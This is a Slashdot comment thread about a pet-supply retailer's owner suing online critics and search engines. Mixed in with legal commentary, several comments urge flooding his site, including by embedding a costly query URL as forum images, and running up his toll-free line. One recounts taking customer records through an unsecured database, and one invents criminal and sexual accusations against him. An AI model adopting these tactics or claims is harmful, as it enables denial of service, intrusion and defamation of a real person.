    Lawyers are good, and you can't replace them yourself, but when it comes to simple cases, why not? I don't call the plumber out when a faucet is leaking. Why should I call out my lawyer for a stupid civil case with no consequences?

    1. Re:Citizens should wise up on the law by Anonymous Coward · · Score: 0

      Well, if you were a US citizen, you might want to call a lawyer to handle a stupid civil case for you because it could be very expensive if you lose, and also because it'll take a hell of a lot more work to defend yourself against a frivolous lawsuit than you might think. Sure Novak's a buffoon, but if he's done this before and knows anything at all about filing what papers when, how to write them, and how to go about stating a credible-sounding claim that you slandered him and did $15 million in damages to his business, and you walk into the courtroom unprepared and thinking that he deserves to lose, you could find your ass being lowered into a meat grinder in no time at all.

      Why pay Ford for a car when you can build your own? If it sounds like fun to you, then by all means go for it. Just don't expect to be purring down the freeway at 60 MPH six months from now.

    2. Re:Citizens should wise up on the law by wackybrit · · Score: 2

      Why do your own weekly shopping when you could pay a servant to do it? Why wipe your ass when someone else could be paid to do it? Why bother driving a car when you could just get a chauffeur?

      Our personal liberty is not something that should easily be put in the hands of others. Knowledge of law and economics should be absolutely essential for those graduating school and becoming adults, IMHO.

  162. someone must have hacked them by Anonymous Coward · · Score: 0

    I think they've been hacked, and someone added blink tags to a bunch of thier links!!!

  163. No,no, no by commodoresloat · · Score: 2

    He's not suing for people slandering him as a slimy rat bastard; he's suing for people slandering petswarehouse.com. So, for example, if I were to say that petswarehouse.com is a stupid company with lousy service I could get sued. I guess his claim is that the slander lost him some money so if I say his company doesn't deserve a fucking dime he might sue me. He also sued people for defending the other side in his lawsuit, so saying that his lawsuit is groundless and his claims are insipid might earn me a lawsuit. Or perhaps if I said "I HATE FUCKING PETS" that might be enough. What do you say, Mr. Novak? Won't you sue me please? I'll defend myself too, how's that?

    1. Re:No,no, no by pseudonymouse · · Score: 1
      But you phrased all your negative comments as hypotheticals...you haven't actually written anything that could be called libelous unless he wants to claim that he wouldn't sue if someone said these things, and to suggest he would sue represents some kind of damage to his reputation or business.

      Of course, none of that matters if the guy decides to launch a SLAPP suit. Then again, that can be grounds for dismissal and countersuit in California.

      What state is this guy suing in? I'd check his site for an address, but his server is down. No doubt due to all the pet supply consumer traffic this slashdot posting generated....

      --
      In a free society you are who you say you are. -- Mumford
  164. Given these developments... by ncc74656 · · Score: 2

    might Petswarehouse be a good target for googlebombing? I think that it'd be an appropriate response to the bullying tactics employed by Petswarehouse.

    --
    20 January 2017: the End of an Error.
  165. my suggestion by Anonymous Coward · · Score: 0

    I think people should use the toll free # and let him know your thoughts- 1-800/991-3299 If used from a payphone it will incure an extra 35 cent charge each time. And it will be anonymous like this post! Let see the /. effect at work for the good!

  166. Cost... by Anonymous Coward · · Score: 0

    If this Novak prick is representing himself for free (obviously) what's to stop the defendants from representing themselves? The guy has no case, I can't imagine it would be too difficult to get it thrown out. There must be a precedent or something somewhere. Also, why haven't any of them counter-sued him yet. I'm no law guy, but that would seem like the thing to do.

  167. Well by Treeluvinhippy · · Score: 2

    he's not just harrasing irate customers and a mom and pop forum somewhere, he's now fucking with Google and i'm sure Google's lawyers will now open a can of whoop-ass on this testicle. He was on a roll getting free advertising and a little money scaring people who didn't know better, but he got greedy and now he's liable to see some real court competition.

    After all the fucknut is represanting himself. I'm sure I don't need to repeat the quote.

    --
    >
    1. Re:Well by Anonymous Coward · · Score: 0

      I hope that Google takes all the money he swindled from the folks that caved to his harassment, and then some!

      I'd pay to watch Google's lawyers hang him out to twist in the wind. Let's hope CourtTV covers this one.

  168. Alternate Form of Resistence by tunabomber · · Score: 2
    Look at the "New Forum Messages--Join us" section at the bottom of the page:

    --

    pi = 3.141592653589793helpimtrappedinauniversefactory71 ...
  169. It's funny.. by vmfedor · · Score: 1
    If he's going to sue Google for linking to the page, he might as well sue the place containing the routers that pushed traffic onto the site that contained it, too.

    Hell, while he's at it, why doesn't he just sue W3? I'm sure they can be traced back to providing the standard markup that allowed the article to be displayed across the WWW in the first place. ;)

    vmfedor

    --

    I like my women how I like my sugar.. granulated.

  170. Give me a break. by nenolod · · Score: 1

    This is ridiculous. So, what, if I were to say something bad about like say, Microsoft then what? Bill Gates is gonna come sue me into the stone age?! You can't just sue someone over the fact that they decided to post their opinions about the site on a message board! Also, he is claiming emotional distress. Why? He wasn't placed into emotional distress. If this guy wins, then, hmm...

    1. Re:Give me a break. by JohnnyBolla · · Score: 1

      Actually, you can sue for whatever you feel like. The trick is can you win.

      --
      Carpe Deez
  171. maybe off topic - is this the Crossfire guy? by gsfprez · · Score: 2

    I'm looking, but i can't tell if this is the guy that overemphasises the words "CROSSFIRE" at the end of each left-right debate on CNN.

    Just curious.

    --
    guns kill people like spoons make Rosie O'Donnell fat.
  172. Overrated? ;) by mekkab · · Score: 1, Offtopic

    How can dropping a Fugees quote be overrated?!
    3 of 5 and counting...

    I'm taking a snapshot of this thread to myself as an excellent example of moderation gone awry.
    Not wrong, but awry.

    See, this thread is like Flynn talking to BIT, flynn can say all this stuff and has the ful range of human expression, where as bit can only say "YES", or "NO". So in this case I am like flynn: a man trapped in a world he helped create bu cannot understand, raging against its confinement, and the moderations are like bit's "YES" and "NO" And the moderator is like a two bit punk-ass bitch.

    See, it all fits.

    --
    In the future, I would want to not be isolated from my friends in the Space Station.
    1. Re:Overrated? ;) by orius_khan · · Score: 2

      See, this thread is like Flynn talking to BIT, flynn can say all this stuff and has the ful range of human expression, where as bit can only say "YES", or "NO". So in this case I am like flynn: a man trapped in a world he helped create bu cannot understand, raging against its confinement, and the moderations are like bit's "YES" and "NO" And the moderator is like a two bit punk-ass bitch.

      And so far, he's only been saying "NO"...

      Maybe dropping a Tron metaphor will win him over though :)

      I think you should keep it up and set a record for most posts a single person can get modded down in while having a conversation only with himself... call it scientific curiousity.

      --
      Sometimes the best solution to morale problems is just to fire all the unhappy people.
    2. Re:Overrated? ;) by mekkab · · Score: 2

      Dude, call it insanity. Infact, call it irrational insanity! (Its OK to be redundant when yr crazy)

      Actually, the moderators have been saying more than just no- The non binary nature of their vocabulary (TROLL,OFFTOPIC,OVERRATED, etc.) breathes new life into it. So yes, they are saying no, but its HOW they are saying 'no'!

      --
      In the future, I would want to not be isolated from my friends in the Space Station.
    3. Re:Overrated? ;) by Anonymous Coward · · Score: 0

      mekkab - When I post on Slashdot, I am posting in the hopes that there is some small chance that I might have something to add to a conversation that might enlighten some future reader. I have no need to come back and read my own posts over and over again because I am posting for the benefit of others.

      You appear to be posting solely for the desired benefit of yourself, and how others respond to you seems to have a tremendous influence over your emotional state and ability to be happy. This could bring you a vague unhappiness while you work to gain an introspective understanding of your own ego and the burdens that it places on you. If you can let it go, I think you will be a happier person. It works for me. :) Besides, this whole moderation thing is vastly OVERRATED (chortle, snort, gak, sorry)

      May peace be with you.

    4. Re:Overrated? ;) by Steve+Franklin · · Score: 1, Offtopic

      I have to agree with the guy. The whole moderation system is based on a bunch of yodels who don't even bother to read the directions. And metamoderating them doesn't seem to do anything but waste my time. Time to go back to reading the stories and ignoring the comments.

      --
      Hic iacet Arthurus, rex quondam rexque futurus.
    5. Re:Overrated? ;) by orius_khan · · Score: 1

      The non binary nature of their vocabulary (TROLL,OFFTOPIC,OVERRATED, etc.) breathes new life into it.

      OK, then how about a different challenge. Try to get one moderation of each negative category all in the same thread? So far you've gotten: Troll, and 2 Offtopics. You still need Flamebait, Redundant, and Overrated. I'd help you out, but as you can tell I've already posted in this thread... Cheers!

      --
      Sometimes the best solution to morale problems is just to fire all the unhappy people.
    6. Re:Overrated? ;) by Steve+Franklin · · Score: 2

      And why exactly are you posting, if I may be allowed to ask the all too obvious question?

      Go recide the pledge of allegiance.

      --
      Hic iacet Arthurus, rex quondam rexque futurus.
    7. Re:Overrated? ;) by mekkab · · Score: 2

      Dear Mr A. nonymous,

      I have no hopes of enlightening anyone on slashdot. I have in the past written things that illuminated new light on a topic and held top moderation slots. Slightly more frequently I have written pithy things that bring smiles and laughs and held top moderation slots.

      I find these occaisions to be anomalous(sp?). I have cherished those rare moments of recognition.

      Slashdot is not an intellectual forum, but rather a wild animal. If I want an intellectual forum I will read the journal of those who Ive found who have something to say (which I may or may not agree with)

      As such, I take an exceptionally solipsitic attitude towards "tha dot", it is a machine that exists for me. As such I can choose to give it any input I want. I can call on specific people and they can respond to me. However I can set my sights much higher, and demand a conversation with a moderator- something expressly forbidden by virtue of the code. You either have contributed moderation points, or you lose that and gain words.

      Now lets me honest, its silly. And yes, moderators can Anon Coward. But this is not logic- this is pure whimsy. This is typical internet; lightening fast communication which leads to rather questionable ideas being executed in a swift manner to quite a "large" audience- be it an e-mail list, irc chat, or posting forum.

      And yes, it is completely ego driven. However this falls under the "my tiny life" side of things. This anonymity of who mekkab really is (other than an asshole) allows me to give rise to certain portions of my persona, allow them to reign supreme in a semi-public forum, and go back to sleep. My foul mouthed, challenge anything that moves

      in essence, I am getting my kicks.

      I do appreciate the substance of your message. But rest assured I don't "take my work home with me" if you catch my drift.

      --
      In the future, I would want to not be isolated from my friends in the Space Station.
    8. Re:Overrated? ;) by mekkab · · Score: 1, Flamebait

      no no no, I had an overated in this thread!

      I need flamebait and redundant.

      But yeah, that's an awesome challenge.

      lesse... flamebait:

      LINUX SUXXORS, MACs ARe SOOOO Much better becuase mac users are smarter and sooo much better looking! (never mind that my powermac 7200 runs linux ppc...)

      and redundant:

      LINUX SUXXORS, MACs ARe SOOOO Much better becuase mac users are smarter and sooo much better looking! (never mind that my powermac 7200 runs linux ppc...)

      --
      In the future, I would want to not be isolated from my friends in the Space Station.
    9. Re:Overrated? ;) by mekkab · · Score: 2

      Whats cool, is that if you look at all the crap I've posted not just in this thread, but on this topic- My moderations up more than make up for my downs.

      Who ownz?!

      --
      In the future, I would want to not be isolated from my friends in the Space Station.
    10. Re:Overrated? ;) by Anonymous Coward · · Score: 0

      What worries me is that I knew exactly what Flynn you were talking about before I even saw the word "Bit".

  173. check out the website by mo · · Score: 5, Funny

    In investigating the petswarehouse website I discovered this link which lists the 20th page of products that have the letter 'a' in the name.

    Now, don't everybody hit that up a lot because selecting everything with 'a' from their database, and then jumping to the 20th page is a lot of work and it would cause unneeded strain on their website.

    However, it's very useful if you are interested in viewing the depth of the petswarehouse catalog.

    1. Re:check out the website by Str8Dog · · Score: 1

      you know what would be interesting is doing just a tad bit of XSite Scripting for a kind of DDoS. Go now to all of your favorite messageforums that allow images in the post and use this address as the sorce for your image post... anyone who views it will get a broken image icon but the request will be made...

      --


      Str8Dog
      using System.Darkside; public
    2. Re:check out the website by Frobnicator · · Score: 2
      I'm too late -- It's already slashdotted.

      Some people are SO inconsiderate. <grin>

      --
      //TODO: Think of witty sig statement
  174. sounds like ole Linus himself... by Anonymous Coward · · Score: 0

    Whack the silly git, you say?

    Thats the Linux way!

  175. But Pet Warehouse sucks! by agent+oranje · · Score: 1

    I've ordered from this company a few times, and they do suck. Their service bites, delivery was far from prompt, and anything living they have is... well... sad. How can a company sue someone for VOICING THEIR OPINION? Tomorrow, will Slashdot be sued by Microsoft for that Bill Gates Borg icon? I don't think Gene Roddenberry would have had a problem with it...

    --
    -agent oranje.
    1. Re:But Pet Warehouse sucks! by lunaticmaster · · Score: 1

      you mean petSwarehouse right? Petwarehouse is now with drs foster and smith, and I have ordered from them before.

    2. Re:But Pet Warehouse sucks! by zoombat · · Score: 2

      I bet the service sucked because their only employee was busy filing court papers. He probably only gets around to doing pet store business once a month.

  176. Security issues w/ petswarehouse.com by Anonymous Coward · · Score: 1, Informative

    About a year ago, I was on petswarehouse.com, noticed it was using IIS/ASPs, and like any good citizen, proceeded to do a quick security check of thier site before I bought anything. Low and behold, their IIS box was wide open, and happily gave me their SQL Server IP/username/password, which also was wide open. I glanced at sysobjects, found their customers table, and very carefully grabbed the list of customer names/addresses (no credit card numbers, of course, although they were there, and unencrypted)***.

    I tried for about two weeks to get a hold of anyone at the company that could patch the server, and everyone I spoke to directed me to Robert Novak. He never seemed to be there, and never bothered to return my calls/messages. I eventually gave up, deleted my logs, and hoped that noone would use the same hole that I found to steal CC numbers. I checked back a couple months later, and the hole still wasn't patched. It looks like they finally took care of it, though.

    I guess the point of the story is: if Robert Novak being a litigious jerk isn't a big enough reason to refuse to buy from his company, maybe his lack of concern for his customer's private/financial information is.

    *** Note: Many times, I have notified companies about security holes without "proof", and often have been brushed/laughed off. However, when you give them a list of thier customers, they suddenly take you very seriously, and the hole is usually patched within a day or two. In the worst case, I was flat-out accused of lying by a company's CEO, until I sent him the last four digits of his credit card number. The hole was patched that night :)

  177. pot is bad... mmmmkay by radoni · · Score: 1

    makes ya paranoid, so sue me :)

    --
    SIGERR: laziness exceeds quota
  178. That Novak guy by Anonymous Coward · · Score: 0

    This guy needs a good ass-kickin, Novak gives frivolous (sp) lawsuits a bad name... his company didn't give a rat's ass about the customer, and the customer just explained rather calmly what had gone on to anyone interested... no foul there.

  179. Toll Free Revenge .... by Anonymous Coward · · Score: 0

    I heard that some people are slashdotting there toll free phone # to incur costs....Wonder if its true

    1. Re:Toll Free Revenge .... by ylikone · · Score: 0

      yes, i think the number was 1-800-991-3299

      --
      Meh.
  180. Stop bullying me! by spacefrog · · Score: 3, Funny

    Hey, that's a libelous insult to all of us who were teased in high school, which I think is a majority of the /. population!

    1. Re:Stop bullying me! by mrogers · · Score: 2
      The whole point of high school is that everyone leaves feeling persecuted, excluded and aggrieved. Then they spend the rest of their working lives trying to avenge their fallen egos by clawing their way up the career ladder, throwing away thousands of dollars for conspicuous status symbols like yachts, Rolexes (Rolices?) and Lexuses (Lexi?).

      High school bullying is the engine of the U.S. economy.

  181. Check out the comment forum by SilentReproach · · Score: 1
    On the site, some people have been posting negative comments on the web site's forum, and are visible on the main page. Check this out.

    In case it gets slashdotted, here's how it appeared a few minutes ago:


    posted 10-03-02 12:32 PM 10-03-02 12:32 PM

    Here's a nice story found at www.libn.com about the owner of petswarehouse.com (Robert Novak). If you're one of his customers, you might be interested to hear how he deals with complaints:

    Begin quote:

    PetsWarehouse.com founder dries out aquarists in courts
    by KEN SCHACHTER
    This is a tale of underwater gardeners (also known as aquarists), a Copiague businessman, the Internet, a $15 million libel suit and a long and twisting path through the justice system.

    At issue: What are the limits of free speech on the Internet?

    Think you can castigate a company online with impunity? Think again. You could find yourself on the receiving end of a heavy lawsuit.

    The first shot in what has become an epic legal battle was fired last May 15. That's when Dan Resler, a professor in the mathematical sciences department of Virginia Commonwealth University, posted a notice on an online bulletin board of aquatic plant hobbyists.

    "Thinking of buying plants from Pet Warehouse[sic]? Don't. What is crappy is their service! And they're maybe even a bit dishonest."

    That comment came after Resler bought a plant and felt he was overcharged for shipping.

    Resler's online comments triggered an outpouring from others on the bulletin board. Many chimed in with comments like: "Remember petSWEARhouse, buy their plants and you'll be swearing!"

    The businessman in question is Robert Novak, who does business as PetsWarehouse.com (www.petswarehouse.com). The online pet shop shares space at his son's store, Pets Warehouse, in Copiague, he said.

    Within weeks of the postings, Novak was in court. In a lawsuit dated May 30, 2001, and filed in federal eastern district court, Novak named Resler, several other bulletin board participants and Active Window Publications Inc., which hosts the bulletin board.

    The old saw says that an attorney who represents himself has a fool for a lawyer. Whoever made that up didn't envisage Novak, who is serving as his own lawyer. Novak doesn't have a law degree, but he is an old hand at legal wranglings. Talk to him and he cites case law, chapter and verse.

    "It's my hobby," he said.

    --
    Religion is the opium of the people. Evolution is the opium of scientists.
    1. Re:Check out the comment forum by SilentReproach · · Score: 1

      I failed to mention that the comment forum was on the petswarehouse.com website. Incidentally, petswarehouse.com is currently down or slashdotted.

      --
      Religion is the opium of the people. Evolution is the opium of scientists.
  182. PetsWarehouse vs. Scientology? by phil+reed · · Score: 4, Funny

    Hey, somebody put the Scientology OT3 documents up on the PetsWarehouse message board. Maybe we can get those two lovable organizations to turn on each other.

    --

    ...phil
    "For a list of the ways which technology has failed to improve our quality of life, press 3."
    1. Re:PetsWarehouse vs. Scientology? by cryptor3 · · Score: 1

      But what if they assimilate novak into their ranks? You don't want the scientology guys getting their hands this little weasel, do you? He'd probably fit right in. "Upper management" material, yes sir.

      (Personally, I think scientology would have that fight, hands down.)

  183. Re:Lawyers in hockey gear by tomhudson · · Score: 2

    Gee - second line is mostly lawyers? Bet nobody cross-checks them!

  184. Slashdot golf by Anonymous Coward · · Score: 0

    Gee, my first post as AC.

    I was wondering what the quickest program to monitor Mr. Novak's site would be. I came up with this Python version, but I would guess there's an even shorter way to do it in your favorite programming language :-).

    >>> import urllib, time
    >>> while 1:
    ... _ = urllib.urlopen("http://petswarehouse.com").read()
    ... time.sleep(30)
    ... print "*",
    ...

  185. You're slashdotting the wrong site. by Anonymous Coward · · Score: 0

    Everyone please note:

    http://petsforum.com/psw/ is NOT owned or controlled by Novak. The site was created to inform people of the suits and to solicit donations for a defense fund.

    Novak's site is www.petSwarehouse.com

  186. What happened to the website? by Anonymous Coward · · Score: 0

    It wont load :(

    An error occured while loading http://www.petswarehouse.com/:

    Could not connect to host www.petswarehouse.com

  187. Not a 1st Amendment issue by Anonymous Coward · · Score: 0

    This isn't a first Amendment issue, the 1st Amendment applies to *government* action not private action. You don't have freedom of speech in my house, for example unless I give it to you.

    The question here is whether this was libel (written) (not slander, spoken although you could have that too). It is related to defamation, e.g. spreading defamation by writing/printed material.

    He alleges a ton of other stuff, but it looks (to me) like window dressing, trying to find something to hang his hat on.

    Note that libel must be both
    1. False
    and
    2. Malicious. For example, if I say that I saw George W Bush and Al Gore making out, and what I really saw was two actors portraying them making out and I didn't know it wasn't them it is not malicious. If I knew it was actors then it was (a) false and (b) malicious to spread it as true.

    There are LOTS of variations here (it is common law) but that is the Cliff Notes (tm) version.

    Commenting about ones experiences with a company are generally protected speech unless provably false. Open and shut. If you say "In my opinion, person X is a scum" it is just an opinion, hence it can not (by definition) be *false*. If I say "I ordered X and it wasn't as described" (and it wasn't as described) then it is not defamatory. If I made a mistake about reading the description it wasn't malicious.
    Enough Tort law for the day. :-)
    IAAA.

  188. Doesn't libel mean... by psxndc · · Score: 2
    That you are making statements you _know_ to be false in an attempt to discredit someone? If these people are posting their honest opinions, that is protected, is it not? You can say whatever you want as long as you are not intenitonally misleading someone by stating things you know to be false.

    psxndc

    --

    The emacs religion: to be saved, control excess.

  189. I believe you are wrong by Ender+Ryan · · Score: 2
    You can say whatever you like to try to hurt someone's business, as long as you aren't saying anything you know to be untrue. That's basically what a boycott is, which is perfectly legal.

    Also, see the other replies.

    --
    Sticking feathers up your butt does not make you a chicken - Tyler Durden
  190. Re:WTF? If unsure call and ask 1-800-991-3299 by Anonymous Coward · · Score: 0

    That is there toll free phone number if you have questions. Of course toll free for you ... not them.

  191. Class-Action against the plaintiff!! by Genjurosan · · Score: 2, Interesting

    Is it possible to file a class action suite against the plaintiff in this case when he does lose for wasting my tax dollars and choking my legal system with this crap? If so, sign me up.

  192. Post your experiences with PetsWarehouse here!! by Anonymous Coward · · Score: 1, Funny
    Remember to post as anonymouse coward so he can't sue you!


    I'll start...


    Last week I had my dog in there for some grooming. When I picked her up she seemed out of sorts and I took her to the vet. Apparently she had been anally raped at PetsWarehouse!

    1. Re:Post your experiences with PetsWarehouse here!! by Anonymous Coward · · Score: 0

      That actually is Libel.(oh God I hope so) Its not against the law to state your opinion, if you are saying something bad about a company, if its true.

      At least thats the way it used to be in America.

  193. Simpsons reference by cryptor3 · · Score: 2, Funny

    "Why, you don't have to sue me to get my pants off..."

  194. licence by zoftie · · Score: 1

    I am not sure of the rules that lawyers follow by, but he may loose his licence to practice law, doing silly things like that. Obviously he's not a good lawyer and has no reputation to loose. Law degree/licence he earned during his best years of his life - no returns invesment can be lost forever.

  195. Thanks for reminding me! by lorcha · · Score: 5, Funny

    I wasn't even going to bother clicking /that/ link 'cuz it didn't have anything I wanted to see. But I'm always game to contribute to a good slashdotting if it's a worthy cause.

    --
    "Avoid employing unlucky people - throw half of the pile of CVs in the bin without reading them." -- David Brent
    1. Re:Thanks for reminding me! by zaphod_es · · Score: 1

      As a new guy around here I had heard of Slashdotting in the readme. I jumped at the chance to join in :-)) The sites responded really quickly, the SD effect does not last long.

  196. NOVAK SUCKS COCK by Anonymous Coward · · Score: 1, Funny

    Novak, is a actually a SHE BITCH flaming demon from hell. He has had numerous affairs with transexual whores and beats up small dogs in his spare time. He has committed terrorist acts, blowing up buildings, bridges, etc. Mr. Novak is known to feel up small children in his neighborhood, and to stiff contractors for remodeling his spacious mansion. His business is a PIECE OF SHIT, cause he has stolen milllions of dollors from investors.

    is that enough slander? I could add more..

    WHAT A FUCKHEAD
    (none of the above is true, but he definitely is a fuckhead)

    1. Re:NOVAK SUCKS COCK by Anonymous Coward · · Score: 0

      Point well taken but I think is libel not slander if you said it was true which you didn't.

      I hope no one threatens to kill him.

    2. Re:NOVAK SUCKS COCK by Sj0 · · Score: 2

      I hope no one threatens to kill him.

      I'll kill that fascist.

      No I won't.

      I will, however, continue to be disgusted with this horrific lie of a "free" society.

      --
      It's been a long time.
  197. Punitive Damage by why-is-it · · Score: 2

    Wasn't it Canada (or at least some provinces) that have a law where if you are going to sew someone, the looser of the suit has to pay legal fees of ALL parties. Where if Mr. N would win the suit, the defendants would have to pay for his [substantially smaller] legal fees, and if Mr. N looses, he has to pay legal fees of the defendants.

    AFAIK that is true. Another reason why there are not as many lawsuits flying around in Canada is that the courts tend to not give out much in terms of punitive damages. You can sue for actual losses, but you don't see multi-million dollar punitive damages awarded.

    --
    *** Where are we going? And what's with this handbasket?
  198. EFF?? by NeoYoda · · Score: 1

    I am suprised the EFF and/or ACLU hasn't offered some support on this one..

  199. Finally some help for the dot coms by bxbaser · · Score: 1

    No longer do they have to make due with
    1. Start a website
    2. ??
    3. Profit

    Now its easy
    1. Start a website.
    2. Sue everyone you can.
    3. Profit.

    Oh yea and anyone that mods this down should expect to hear from my laywer ,unless you want to settle and just give me some banner ads

  200. Play his game by Anonymous Coward · · Score: 0

    Why doesn't anyone file a countersuit in their own home state? Wouldn't this mean that those individuals who resort to these tactics would have to make the trip out there to fight the charges? I'm no lawyer, but it seems to me that if everyone out there who has encountered this sort of harassment just filed suit in return, it would make these individuals think twice.

    Any lawyers out there who can explain the viability of this plan, and what issues it might have?

  201. The other side of punitive damages by Anonymous Coward · · Score: 0
    Looking at it from the big guy oppressing the little guy, or from frivolous lawsuits, punitive damages are bad. Actually, idiot judges and juries that let people win frivolous lawsuits are bad.

    But from the other side, when the little guy saves his pennies and gets a lawyer to go after the big guy, because he's right and the big company has done a definite, quantifiable wrong, punitive damages are a necessity. If it only costs the company 0.0001% of it's profits to fight these lawsuits, they'll pay, shrug it off, and keep doing whatever they got in trouble for in the first place (example: our favourite monopoly in Redmond).

    Perhaps a better plan would be to still allow punitive damages, but instead of giving them to the plaintiff, give them to a charity or a good local cause (schools, say), with, of course, the restriction that the money has to (a) be given with no strings and (b) not be funnelled back to the defendant by e.g. buying their products, even at a discount.

    czth

  202. This latest lawsuit is different... by Anonymous Coward · · Score: 0

    Most of the defendants named in the latest lawsuit are search engines. (even Judge-for-yourself? according to the docket). Novak claims that the defendants purchased (or used meta-tags) the petswarehouse name, and beat him in the rankings when a user searched on those terms...

    More info in the docket.

  203. Best Part of Complaint: by blunte · · Score: 2, Interesting
    I love this part from the complaint (PDF here):

    "11. PW is a New York based national seller of pet products and live aquaria under the trademark PETS WAREHOUSE(r). PW has spent years ... PW enjoys a strong reputation in the trade and its PETS WAREHOUSE(r) products enjoy tremendous consumer recognition and goodwill."

    What a lame-ass misrepresentation. The company itself apparently hasn't garnered as much positive consumer recognition and goodwill. After re-reading this, I saw the catch: "... products enjoy ...".

    The products, which as I understand are not manufactured by PW, but rather are sold/distributed by PW, are the objects enjoying this regognition.

    What's at least somewhat comforting about this whole thing is that on his deathbed, you just know that Robert Novak isn't going to be thinking, "ahh, I got some money from some frivolous lawsuits."

    Rest in peace...

    --
    .sigs are for post^Hers.
  204. SLPP? by Courageous · · Score: 2


    Why is no one going after him under SLPP provisions? In California, at least, a company can get in big trouble by attempting to use the courts to squelch free speech.

    C//

  205. From Associated Press: by levik · · Score: 3, Funny
    "Bob Novak, most known for his role on CNN's talk show "Crossfire", has announced that he is suing Robert Novak or PertWearhouse.com for copyright infingement, and trading on the good will of Mr. Novak's name.

    'The amount of hate mail I get has virtually trippled in the last year,' Mr. Novak said in a statement to the press, 'this has got to stop.'.

    The damages in the suit are unspecified yet, but mr Novak's lawyers have stated that one of the remedies they will seek is that Mr. Novak no 2 have his name legally changed to something less confusing. They alledge that he changed his name to "Robert Novak" in 1996, just as Bob Novak was gaining prominence for his appearances on CNN.

    'We have received reports that his name before that was "Roberto Perdikakis"' a representative of mr. Novak's said Wednesday morning.

    --
    Ñ'
  206. barratry by csb · · Score: 1

    IANAL; but, this sounds like a classic case of barratry to me.

    --
    We reserve the right to serve refuse to anyone. -management
    1. Re:barratry by Anonymous Coward · · Score: 0

      yeah.. damnit!
      I used to own this ship and the damn crew unlawfully screwed up and I got hurted.

      Course.. I was trying to sell my position in my church at the time so.. it was a wash I guess.

  207. Slashdot next? by Kylow · · Score: 1

    I guess he'll be suing slashdot next.

  208. the slashdot army... by orius_khan · · Score: 4, Interesting

    Which troops would he rally? Do you think that a platoon of geeks bearing down on Novak's mansion would change things?

    No, but a quarter million geeks pounding away at his website address every 12 hours (when the story gets inadvertantly re-posted) can keep his bandwidth maxed out without letting any "customers" through.

    Plus, slashdot viewers are not what most people would consider "shy" in the online world, so if given a rousing "Sons of Scotland" speech from Mr. Taco, it's probable that you'd soon have millions of messageboard posts and emails to friends and quick-n-dirty websites thrown up on stupid/clever pun-ful domain names. We could bleed Novak dry just on the cost of all the paper he'd need to file suit against all these individuals, and their hosting companies, and the search engines who list them, and the PC manufacturers who sold them the computers they commited the 'harassment' from, and their lawyers, and ... their pets, for not frequenting his establishment...

    --
    Sometimes the best solution to morale problems is just to fire all the unhappy people.
    1. Re:the slashdot army... by Anonymous Coward · · Score: 0
      if given a rousing "Sons of Scotland" speech from Mr. Taco

      Something tells me that Malda is incapable of a "rousing" speech of any kind. He's barely capable of coherent communication, what with all the mispellings, poor grammar, and flat-out gibberish he spews onto his web site.

    2. Re:the slashdot army... by orius_khan · · Score: 2

      Something tells me that Malda is incapable of a "rousing" speech of any kind.

      You're right. Jon Katz should give it instead. That would inspire more emotion from the readers...

      --
      Sometimes the best solution to morale problems is just to fire all the unhappy people.
    3. Re:the slashdot army... by Flounder · · Score: 2
      You're right. Jon Katz should give it instead. That would inspire more emotion from the readers...

      Not exactly the kind of emotions we want to inspire, is it? How will a couple million geeks knashing their teeth and wailing about how crappy Katz is help?

      I've got a better idea. One simple news item posted every 12 hours.

      FREE LEGOS!! and link to Novak's site. That will bring the masses down on him faster than any ralling speech will.

      --

      No boom today. Boom tomorrow. There's always a boom tomorrow. - Cmdr. Susan Ivanova

  209. Two words by Steve+Franklin · · Score: 2

    Clarence Thomas.

    Be afraid. Be very afraid.

    --
    Hic iacet Arthurus, rex quondam rexque futurus.
  210. Idiot loser by dh003i · · Score: 3, Insightful

    This guy is obviously an idiot and loser who doesn't know wtf he's doing.

    You can't sue people for stating their opinion, or even for criticizing you or your services harshely or unfairly.

    You can only sue people for defamation if they knowingly state a stark falsity about you or your company. Saying the service sucks -- which it probably does -- is a matter of opinion, not a factual statement.

    If someone said that something as a matter of fact about him or his company that he can prove is false, that may be grounds for a defamation lawsuite. However, unless he can show that such statement caused him a loss of business, he has little or no grounds for any punative damages.

    The fact that this guy seems to be making his living by suing people without grounds and hoping they settle seems statement enough about the quality of his services.

    1. Re:Idiot loser by BigZaphod · · Score: 2

      "Saying the service sucks -- which it probably does -- is a matter of opinion, not a factual statement."

      That would be truthful high praise to a vaccuming service. Of course we're not talking about that kind of suck...

    2. Re:Idiot loser by Sentry21 · · Score: 2

      You can't sue people for stating their opinion, or even for criticizing you or your services harshely or unfairly.

      Wrong. You can sue people for anything. Stating opinion, being ugly, liking french toast, you name it. ANYTHING. Of course, there's harassment issues and whatever, but you can still do it.

      It's up to the legal eagles to make their cases - one for why the litigant should win, one for why not. The person who makes the best point wins.

      In a case like this though, I don't think it would be hard to make a good point of telling this guy where to stick it.

      --Dan

  211. The boy who cried wolf. by beleg777 · · Score: 2

    ranging from a court order barring a litigant from filing further motions or actions on a certain issue to a court declaration that a litigant is characteristically abusive

    How cool would that be. The fitting and ironic result, of course, being that after his BS here people could freely slander him and he could do nothing about it. Not my style, but man would I enjoy seeing someone else do it.

    --

    Science may someday discover what faith has always known.
  212. Bullying you? by Allaria · · Score: 1

    Hey, I'm one of those people too. I mean, I didn't have any friends until... until......

    Slashdot, you're my friend, right? right?

    *cries*

    --
    If a and b in c, and a can create b, and a can create a, and b can create b, and b cannot create a, then a created c.
    1. Re:Bullying you? by Theom · · Score: 0

      Of course I am. Just keep on posting...

      --

      mp3: l33t term for empty.
    2. Re:Bullying you? by Xtraneous · · Score: 1

      Now, now, we must learn not to talk to websites. Even if they offer you candy, they might end up taking you away from your mommy and daddy.

      (for those of you who have lost your memory of early childhood, this is the "no talking to strangers" talk.)

      --
      .noitacidem deen uoy siht daer nac uoy fI
  213. I sent an e-mail to him by QuantumSlip · · Score: 1

    "You're just a crybaby who can't take a customer's complaint. Instead of trying to fix the problem, you go off and sue everyone in sight. Now why are you trying to sue Google? What do they have to do with this? All they do is provide services and mediums to convey messages. It's people like you who make America look like a POS place and stereo-type us as "sue-happy". And what has happened to First Amendment rights and free-speech? I hope you and your stupid lawsuits fail miserabley." he better not sue me for this :rolleyes:

  214. A New Kind of DOS Attack by Anonymous Coward · · Score: 1, Interesting

    Hundreds of /. readers buying $2 accessories from his website only to complain about the service on public forums. Bury him in his own legalistic avarice.

  215. Explanation received, thanks by baxshep · · Score: 0

    I haven't seen that in Wyoming... Another reason to move back there.

    1. Re:Explanation received, thanks by Anonymous Coward · · Score: 0

      I drove there this summer--really pretty place.

